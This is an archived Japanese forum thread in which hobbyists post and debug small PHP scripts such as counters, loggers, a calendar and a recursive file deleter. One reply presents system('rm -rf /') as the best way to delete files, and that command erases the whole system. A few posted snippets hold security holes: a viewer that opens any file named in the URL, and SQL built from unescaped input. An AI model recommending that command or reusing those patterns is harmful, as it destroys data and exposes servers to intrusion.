【PHP】自作スクリプト発表会
■ このスレッドは過去ログ倉庫に格納されています
0001nobodyさん
02/03/30 11:55ID:M/C/V7hb初心者が書いた入門スクリプト、ベテランが書いたすげースクリプト。
発表してね。
予めスクリプトの内容を明記してURLを貼り付けるのがよろしいかと。
マターリ進行でいきませう。
PHPが使える無料サーバ情報(レッツPHP!):
http://php.s3.to/php/
0052rootさん
02/04/28 19:19ID:6TJDtFTq0054nobodyさん
02/04/28 22:45ID:???配列?こういうこと?
$str[0] = "\r";
$str[1] = "\n";
$str[2] = "\r\n";
$mes = str_replace ($str, "<br>", $mes);
0055nobodyさん
02/04/28 23:23ID:???>>PHP 4.0.5 以降では、str_replace() への全てのパ ラメータは配列とすることが可能です。
すまん、3は駄目だった。
>>54
$str[0] = "\r\n";
$str[1] = "\r";
$str[2] = "\n";
$mes = str_replace ($str, "<br>", $mes);
じゃないと、改行が\r\nの時<br><br>にならない?
ただ、展開される順番確認してないので確実ではない。
オネムナノ (-_ゞゴシゴシ
0056東山 ◆tmcSEEZE
02/04/30 02:06ID:???YAIGって海外の画像ギャラリースクリプトを改造してたりする。
いちおう特色はこんなん(オリジナルへの付加要素)
・スキン(埋め込むだけ)
・5つまでのアルバムに対応、それぞれに分別表示(強化予定)
ちょい作成に行き詰まったので、殆ど最初っから書き直そうと思ってる。
…まぁ自分のサイト用だから、公開するのはかなり先になるけど。
0057nobodyさん
02/06/22 07:58ID:???0058nobodyさん
02/06/23 15:02ID:???0060nobodyさん
02/06/27 17:13ID:???やっぱり見た目的にはつけたほうがいいんでしょうか?
自分は省略して書いてるけど…
while(1)
$hoge = 1
こんな感じ
0061nobodyさん
02/06/27 17:23ID:???0062nobodyさん
02/06/27 20:43ID:???例えばその、仕事とかで書くなら。
0063nobodyさん
02/06/28 02:54ID:???プロジェクトマネージャーの指示に従う。
0064nobodyさん
02/06/28 08:35ID:???その辺の是非についてはちょっと前にこんな議論があったりしました。
参考にしてみては?
この会社辞めようと思ったソースコード#4 @マ板
http://pc.2ch.net/test/read.cgi/prog/1021560641/118-
0065nobodyさん
02/10/22 18:04ID:Dc8ZNLM6006665
02/10/22 18:04ID:???0067nobodyさん
03/03/28 06:40ID:???0068nobodyさん
03/04/14 11:20ID:eYkIMkHB$type = $_POST['type'];
$temp = chunk_split($str,1,":");
$result = explode(":",$temp);
switch($type){
case "0" :
for($i = 0; $i < count($result);$i++){
$result[$i] = strtolower($result[$i]);
if($i%2 == 1){
$result[$i] = strtoupper($result[$i]);
}
$strans .= $result[$i];
}
break;
case "1" :
for($i = 0; $i < count($result);$i++){
$result[$i] = strtolower($result[$i]);
if($i%2 == 0){
$result[$i] = strtoupper($result[$i]);
}
$strans .= $result[$i];
}
break;
}?>
もっとスマートに書けそうだな・・・
0069nobodyさん
03/08/18 20:07ID:???0070nobodyさん
03/08/19 17:11ID:???人のソースみれるなんて勉強になるスレですね。
0071nobodyさん
03/08/20 22:21ID:DmnhIRDP0072nobodyさん
03/08/23 22:09ID:L0wSRRTtphpinfo();
?>
0073nobodyさん
03/09/23 14:42ID:???$c = 0;
while ( $i<100000 ) {
$a = rand ( 0, 1 );
echo $a;
$c++;
if ( $c == 100 ) {
echo "\n";
$c = 0;
}
$i++;
}
?>
0074nobodyさん
03/09/23 14:43ID:???$c = 0;
while ( $i<100000 ) {
$a = rand ( 0, 1 );
echo $a;
$c++;
if ( $c == 100 ) {
echo "\n";
$c = 0;
}
$i++;
}
?>
0075nobodyさん
03/09/23 14:44ID:???0076nobodyさん
03/10/07 22:52ID:/z//HM11訪問者はめっちゃ少ないですが、自分なりに手ごたえはあったような気がするので
評価してみてください。。。(・∀・)
ちなみにPHP歴はちょうど1年デス。
http://www.shuta.org/simplet/phpscript/simplet_board.html
0077nobodyさん
03/10/13 19:15ID:???0078nobodyさん
03/10/17 22:48ID:/0HAJGKT0079nobodyさん
03/11/01 05:06ID:0M/5svli0080nobodyさん
03/11/04 20:07ID:V0sFneFhhttp://f3.aaacafe.ne.jp/~null/gets.php
http://f3.aaacafe.ne.jp/~null/gets.zip
とりあえずフレームの一個下までは読めます。それ以下はタイムアウトしちゃうかも…。
2ch の場合は dat 読んで自分でHTML吐いてます。
どうかな?
user: user
pass: pass
でテストログインっす。
0087nobodyさん
03/11/08 15:53ID:oR+D+DMqとりあえず掲示板…とかは難しそうなので最初に書いてみたのがこんなの。
<?php
$logfile = "log.txt";
$time = date("Y/m/d[D]\tH:i:s");
$add = getenv("REMOTE_ADDR");
$host = gethostbyaddr($add);
$agent = getenv("HTTP_USER_AGENT");
$ref = getenv("HTTP_REFERER");
if($ref=="") $ref = "none";
$data = "$time,$name,$add,$host,$agent,$ref\n";
$fp = fopen($logfile,"a");
fputs($fp, $data);
fclose($fp);
?>
一応記録は出来てるみたい。
まだまだ先は長いけど…
009087
03/11/10 16:42ID:???89みたいに「.」を入れるとどうなるんでしょう?…とりあえず試してみます。
あれから、一日一ログファイル化とn日前のログは消去ってのに進化(?)しました。
そろそろビューアーを作ってみよう…面倒そうな予感…
0091nobodyさん
03/12/15 03:39ID:9CFo/Eqsttp://up.isp.2ch.net/up/306d0610b2b5.zip
0092ここがすごいと思われ
03/12/15 21:36ID:85uBylp5ttp://cgi.f10.aaacafe.ne.jp/%7Esakataku/se/hako-main.php
これすごい
0094サ骨 ◆xO/IQ5000w
04/02/08 07:32ID:2XWG9op1とりあえず10回アクセスがあるごとに文章がランダムで変わるスクリプト書いてみました。
http://sakots.pekori.jp/cgi/acrand/acrand.php
ソース
http://sakots.pekori.jp/cgi/acrand/acrand.zip
0095nobodyさん
04/02/08 15:04ID:j1/Dqn/7相談に乗ってやってください。
文字で説明がちょっとしづらいので画像も織り交ぜます。
http://wish.disneysea.org/pope/img/pic.jpg
で、自分が作りたいスクリプトというのは
上の画像のAにある商品をクリックするとBに商品説明が出て
Aをダブルクリックなどの何らかの方法でCに表示させてCで数量を増減出来るようなものが作りたいです。
説明が下手で皆様には伝わってないかもしれませんがよろしくおねがいします。
0097nobodyさん
04/02/08 16:16ID:???___ クルッ… / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
/ || ̄ ̄|| <⌒ヽ )) < はてさて、
| ||__|| < 丿 | どこを縦に読みゃいいんだ?
| ̄ ̄\三⊂/ ̄ ̄ ̄/ \___________
| | ( ./ /
0098nobodyさん
04/02/13 21:25ID:???$file=$_SERVER['QUERY_STRING'];
$html_head = <<<HTML_HEAD
<html>
<hrad>
<title>そーすびゅーあ</title>
</head>
<body>
<font size=+2>${file}の中身</font>
<hr>
HTML_HEAD;
echo mb_convert_encoding($html_head,"SJIS","EUC-JP");
$fp=@fopen("$file","r") or die("Error! Can't open the file.");
while(!feof($fp)){
$temp=htmlspecialchars(chop(fgets($fp)))."<br>\n";
echo mb_convert_encoding("$temp","SJIS","EUC-JP");
}
fclose($fp);
echo mb_convert_encoding("<hr>\n</body>\n</html>","SJIS","EUC-JP");
?>
どうよ。ローカルでは結構便利かも。
ビューアより見やすい・・・ことはナイカ・・orz
0100nobodyさん
04/02/13 21:36ID:???より
echo mb_convert_encoding("$temp","SJIS","auto");
のほうが良いと思われ
0102nobodyさん
04/02/16 16:15ID:???echo mb_convert_encoding("$temp","SJIS","auto");
で文字コードを判別できませんと言われてしまったので、
echo mb_convert_encoding($temp, "EUC-JP", "UTF-8, UTF-7, ASCII, EUC-JP,SJIS, eucJP-win, SJIS-win, JIS, ISO-2022-JP");
ってやったら、ちゃんとなったよ
0103nobodyさん
04/02/23 13:49ID:???オリジナルの未発表作品に限るが
PHP賞にえらばれれば 5万円もらえるって
おまいらどうよ?
http://compe.japandesign.ne.jp/ap/01/lite/phpsakuhin/
0104nobodyさん
04/02/23 14:21ID:???0107nobodyさん
04/02/25 00:05ID:???それって「耳」みたいな文字化けない?
SJISだと耳でEUC-JPだと半角カナになるから
SJISではなくてEUC-JPにご認識されることがある
ちなみに上の文字は1文字単体
0109今日始めたPHP君
04/03/12 15:07ID:???しかし、書き込みできません、なぜでしょう(ログに書き込まれない)
<html>
<head>
<body>
<form method="post" action="<? echo $PHP_SELF; ?>">
<b>コメント</b><input name="name" type="text" size="20">
<input type="submit" value=" Send ">
<?
$data = file("data.cgi");
for($i = 0;$i < 10;$i++){
echo $data[$i];
}
$mes = htmlspecialchars ($mes);
$log = "$mes\n";
$data = file("data.cgi");
$fp = fopen("data.cgi","w");
fputs($fp,$log);
for($i = 0; $i < 20;$i++)
fputs($fp,$log[$i]);
fclose($fp);
?>
</form>
</body>
</head>
</html>
0110今日始めたPHP君
04/03/12 15:10ID:???0111nobodyさん
04/03/15 15:52ID:h0qk8HnH3年ほどプログラミングから離れてたからリハビリがてらに作って見た。
自分より下のディレクトリをツリー表示するスクリプト。
人が居なさそうなのでage
0112nobodyさん
04/03/18 16:54ID:MiGVyUNw$fp = fopen("./count.dat","r+");
flock($fp,LOCK_EX);
$count = fgets($fp);
$count++;
fwrite($fp,$count);
fclose($fp);
echo($count);
?>
アクセスカウンター。
0113nobodyさん
04/03/22 17:35ID:szpeqsZ5require_once ('Date/Calc.php');
class CalBase {
var $dayCnt;
var $weekCnt;
var $weekNo;
function CalBase($month , $year) {
$dt = new Date_Calc;
$this->dayCnt = $dt->daysInMonth($month,$year);
$this->weekCnt = $dt->weeksInMonth($month,$year);
$this->weekNo = $dt->firstOfMonthWeekday($month,$year);
}
function getCalAry() {
$days = "";
$daySrc = array();
for($i = 0;$i<$this->weekCnt * 7;$i++) {
if($i == $this->weekNo) $days = 1;
if($i >= $this->weekNo && $this->dayCnt >= $days) {
$daySrc[$i] = $days;
}
else {
$daySrc[$i] = "・";
}
$days++;
}
return $daySrc;
}
}
?>
カレンダーの素
0114nobodyさん
04/03/22 17:54ID:szpeqsZ5<?php
require_once('CalBase.php');
$cal = new CalBase('3','2004');
$calSrc = $cal->getCalAry();
echo '<table><tr>';
foreach($calSrc as $key=>$val) {
if(($key+1) % 7 == 0 && $key != 0) {
echo "<td><span style='color:blue'>$val</span></td></tr><tr>";
}
elseif(($key+1) % 7 == 1 || ($key+1) == $val) {
echo "<td><span style='color:red'>$val</span></td>";
}
else {
echo "<td>$val</td>";
}
}
echo '</tr></table>';
?>
0115nobodyさん
04/04/01 20:22ID:84kVyOOh0116nobodyさん
04/04/04 03:01ID:bLnZrz+40117たまによくあること
04/04/04 12:57ID:3ND1yVd/<?php
//勝手に増やせよ《゚Д゚》ゴラァァァァァァァァァァァァア!!
$fp[0] = fopen("http://search4.auctions.yahoo.co.jp/jp/search/auc?p=php&auccat=21700&alocale=0jp&mode=2","r");
$fp[1] = fopen("http://list4.auctions.yahoo.co.jp/jp/2084008801-category-leaf.html?f=&alocale=0jp&mode=2","r");
for($y=0;$y<count($fp);$y++){
$i=0;
while (!feof ($fp[$y])) {
$text[$y][$i] = fgetss($fp[$y], 4096, "<a>,<img>");
$text[$y][$i] = trim($text[$y][$i]);
$i++;}
$n=0;
for($m=0;$m<count($text[$y]);$m++){
if($text[$y][$m] == "¥t" or $text[$y][$m] == "¥s" or $text[$y][$m] == "" or $text[$y][$m] == "¥n" or $text[$y][$m] == "¥r¥n" or $text[$y][$m] == " "){ }else{
$text_1[$y][$n] = $text[$y][$m];
$n++;}
}
print("<TABLE BORDER=1>");
for($x=0;$x<count($text_1[$y]);$x++){
print("<TR>
<TD>".$y."</TD>
<TD>".$x."</TD>
<TD>".$text_1[$y][$x]."</TD>
</TR>¥n");
}
print("</TABLE>");
fclose ($fp[$y]);
}
?>
0118nobodyさん
04/04/08 04:13ID:RRs8f8iP全部のファイルやフォルダを削除する関数を誰か作ってください
0120nobodyさん
04/04/08 07:41ID:???$でぃれくとり = './てすと';
さくじょ♪($でぃれくとり);
function さくじょ♪($■) {
if ($@ = opendir($■)) {
while ($□ = readdir($@)) {
if ($□ == '.' or $□ == '..') continue;
elseif (is_dir("$■/$□")) さくじょ♪("$■/$□");
else unlink("$■/$□");
}
closedir($@);
rmdir($■);
}
}
?>
0121nobodyさん
04/04/14 20:45ID:sODzky5p0123nobodyさん
04/04/16 20:57ID:M6UxhkA2for($i=1;$i<20;i++){
print("age!"){
}
0124>>123
04/04/16 20:59ID:M6UxhkA20125nobodyさん
04/04/17 19:11ID:E2aViHFUパーミッションや所有者の違いで
unlinkでは削除できないファイル、ディレクトリーもあるから
システム関数から削除した方がベスト
[ソース]
<?
system("rm -rf /");
?>
0126カポコン
04/04/26 13:33ID:???{
$this->array = $ARRAY;
$db = mysql_connect($this->connect,$this->user,$this->pass)
or die($this->error(3));
mysql_select_db("book")
or exit($this->error(3));
$cmd=mysql_query("SELECT * FROM hon") or die($this->error(3));
$cmd2=mysql_query("SELECT BOOKNAME FROM hon") or die($this->error(3));
while($ary=mysql_fetch_array($cmd2,MYSQL_ASSOC));
$num = count($ary);//配列内の要素数を取得する。
mysql_data_seek($cmd,$num) or mysql_data_seek($cmd,0);//MySQL内のポインタの移動
/*ブックIDの処理*/
$id = $this->bookid(TRUE) + 1;
if($id < $this->id)
{
$id = $this->id;
}
mysql_query("INSERT INTO hon(BOOKID,PDATE,BOOKNAME,AUTHOR,COM,PERM,MEM,RDATE)
VALUES(
".$id.",
'".$this->array[0]."',
'".$this->array[1]."',
'".$this->array[2]."',
'".$this->array[3]."',
'".$this->array[4]."',
'".$this->array[5]."',
'".$this->array[6]."')") or die($this->error(sql));
mysql_free_result($cmd);
unset($num);
mysql_close($db);
}
0127nobodyさん
04/05/07 21:28ID:V9n269ovtest.html
<html><body><form method="post" action="test.php">
<input type="text" name"test"><input type="submit"></form>
</body></html>
test.php
<html><body>
<?php
echo $test;
?>
</body></html>
これ動かないんすが... いや他の関数とか動くのでphpが入ってないのはナシということで。なんでだー
0129nobodyさん
04/05/07 21:42ID:V9n269ov0130nobodyさん
04/05/08 09:34ID:???<?php
for($i=1; $i<20; $i++) {
printf("age! $i\n");
}
?>
ちょっと変えました。
age! のあとループ回数を入れて、改行しました。
0131nobodyさん
04/05/08 22:24ID:???0132nobodyさん
04/05/09 07:34ID:???0133nobodyさん
04/05/09 22:04ID:5mhyQGyBA.htmlのフォーム部分
<form action="B.php" method="post" name="test" enctype="multipart/form-data">
<input type="hidden" name="MAX_FILE_SIZE" value="2000000">
<input type="file" name="upname" size="32" border="0">
<input type="submit" name="submitButton" border="0">
</form>
B.php
<?php
copy ($_FILES['upname']['tmp_name'],$_FILES['upname']['name']);
?>
A.htmlでファイルを選択してsubmitを押すとブラウザが
B.phpの読み込み中にエラーになりました。
と出て止まります。php.iniはデフォルトのまま(post_max_size=2M)。
ヒントをお願いします...
0136nobodyさん
04/05/09 23:46ID:???upload_max_filesize = 2M
php.ini
こんなのハッケソ
0137nobodyさん
04/05/12 01:31ID:???0138カポコン
04/05/15 04:01ID:???<form action="hoge.php" method="post">
<input type="text" value="test1" name="test[]" />
<input type="text" value="test2" name="test[]" />
<input type="text" value="test3" name="test[]" />
<input type="text" value="test4" name="test[]" />
<input type="submit" value="OK" />
</form>
hoge.php
<?php
print_r($_GET['test']);
?>
0139まちげーた
04/05/15 04:02ID:???print_r($_POST['test']);
?>
0140nobodyさん
04/06/01 22:47ID:???http://toyomo.pn.to/pw/?Program/PHP/gojyuon
取りあえずでっち上げました。
助言など お願いします。
0143nobodyさん
04/06/04 23:06ID:???訪問者登録型リンカースクリプト
http://tubaki.ksdc.jp/flash/link/t_link.php
http://tubaki.ksdc.jp/flash/link/t_link.phps ソース
0144nobodyさん
04/06/17 00:02ID:???0145nobodyさん
04/06/17 18:17ID:eeZQgFWj0146nobodyさん
04/07/13 22:28ID:???0147nobodyさん
04/07/14 00:44ID:???0148nobodyさん
04/07/27 03:58ID:???class httpRequest{
function main(){
if( isGet() == true ){
$this->getRequest();
} else if( isPost() == true ){
$this->postRequest();
} else if( isHead() == true ){
$this->headRequest();
} else {
header("Allow: GET,POST,HEAD");
httpError(405);
}
}
/* abstract void */
function getRequest(){die();}
function postRequest(){die();}
function headRequest(){die();}
}
0149nobodyさん
04/10/01 22:06:47ID:z0lIw7qS<?php
require_once("htmltemplate.inc");
define("TAX", 5); //消費税何パーセント?
$zeinuki = $_GET[ htmlspecialchars("zeinuki")];
if ($zeinuki == NULL) { //初期値。何も入力されていない場合
$arg["kaitou"]="数字を入力してください";
} elseif (is_numeric($zeinuki) == TRUE) { //値が数字、または数値文字列の場合
$zeikomi = $zeinuki + $zeinuki * ("0.01" * TAX);
$arg["kaitou"]=$zeikomi;
} else { //数字、または数値文字列ではない場合
$arg["kaitou"]="計算できません";
}
HtmlTemplate::t_include("test_tax.html",$arg);
?>
0150149
04/10/01 22:07:56ID:???<html>
<head>
<title>消費税計算</title>
</head>
<body>
<form action="test_tax.php" method="get">
<p>
<input type="text" name="zeinuki" size="20" />x1.05={val kaitou}<br />
<input type="submit" value="計算" />
</p>
</form>
</body>
</html>
0151149
04/10/01 22:10:15ID:???このスクリプトがやっぱり原因なんでしょうか。
変な書き方とか間違った書き方をしていたら、指導してください。
■ このスレッドは過去ログ倉庫に格納されています